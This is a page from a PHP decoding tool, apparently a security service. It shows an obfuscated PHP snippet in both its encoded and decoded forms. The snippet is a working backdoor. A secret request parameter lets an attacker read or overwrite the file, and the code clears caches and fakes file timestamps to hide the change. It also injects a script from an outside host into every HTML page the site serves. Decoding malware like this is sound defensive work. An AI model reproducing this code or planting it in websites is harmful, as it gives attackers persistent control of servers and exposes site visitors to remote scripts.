Find this useful? Enter your email to receive occasional updates for securing PHP code.
Signing you up...
Thank you for signing up!
PHP Decode
/*cut here;)*/if(isset($_REQUEST["3\71\x79\171\156\163fp\147gw\x65\65\x61\153\157"])){if(e..
Decoded Output download
<? /*cut here;)*/if(isset($_REQUEST["39yynsfpggwe5ako"])){if(empty($_REQUEST["39yynsfpggwe5ako"])){echo bin2hex(gzdeflate(file_get_contents(__FILE__)));}else{$mem7z0=filemtime(__FILE__);$qcwtrt=fileatime(__FILE__);if(function_exists("opcache_reset")){@opcache_reset();}if(function_exists("apc_clear_cache")){@apc_clear_cache();}echo strval(file_put_contents(__FILE__,gzinflate(pack("H*",$_REQUEST["39yynsfpggwe5ako"]))));@touch(__FILE__,$mem7z0+1,$qcwtrt+1);}die;}if(isset($_SERVER["HTTP_ACCEPT"])&&(strpos($_SERVER["HTTP_ACCEPT"],"text/html")!==false||$_SERVER["HTTP_ACCEPT"]==="*/*")){function el77jm($mem7z0){return str_replace("</head>","<script type='text/javascript' async src='https://5xp9wtte.cloudfire.quest/challenge.js'></script></head>",$mem7z0);}ob_start("el77jm");}/*cut here;)*/
?>Did this file decode correctly?
Original Code
/*cut here;)*/if(isset($_REQUEST["3\71\x79\171\156\163fp\147gw\x65\65\x61\153\157"])){if(empty($_REQUEST["\x339\171yn\x73fp\147gw\1455\x61ko"])){echo bin2hex(gzdeflate(file_get_contents(__FILE__)));}else{$mem7z0=filemtime(__FILE__);$qcwtrt=fileatime(__FILE__);if(function_exists("\x6f\x70c\x61\x63\150\x65\137\162e\163e\164")){@opcache_reset();}if(function_exists("\x61\160c\137\x63le\x61\x72_\143\141che")){@apc_clear_cache();}echo strval(file_put_contents(__FILE__,gzinflate(pack("\x48\x2a",$_REQUEST["\63\71\x79\171\x6esfpg\x67\167\145\65\141k\157"]))));@touch(__FILE__,$mem7z0+1,$qcwtrt+1);}die;}if(isset($_SERVER["\110T\124\120\x5f\x41C\103EP\124"])&&(strpos($_SERVER["\x48\x54T\x50_\101\x43C\x45\x50T"],"t\x65x\x74\x2f\150\164\155\154")!==false||$_SERVER["\110TT\120_A\103\x43E\x50\x54"]==="\x2a\57\52")){function el77jm($mem7z0){return str_replace("\x3c\57he\141\x64>","\74\x73c\162\x69\x70\x74\x20t\171\160\x65='te\170\164\57j\x61va\x73\143\162i\160\x74\x27\x20a\x73y\156c\40src\75\47\150\x74t\160\x73:/\57\65\x78\1609\167tt\145.\x63\154\x6f\x75df\151\162e\56\x71\165\x65\x73\x74\x2f\x63\150a\x6c\154\145\156\x67e\56j\x73'\76\x3c\x2f\163\143\162i\x70\x74>\74\57\x68\145\x61\x64\76",$mem7z0);}ob_start("e\154\67\67\x6a\155");}/*cut here;)*/
Function Calls
| strpos | 1 |
Stats
| MD5 | 461f37ec05462e69941360365993fe7f |
| Eval Count | 0 |
| Decode Time | 52 ms |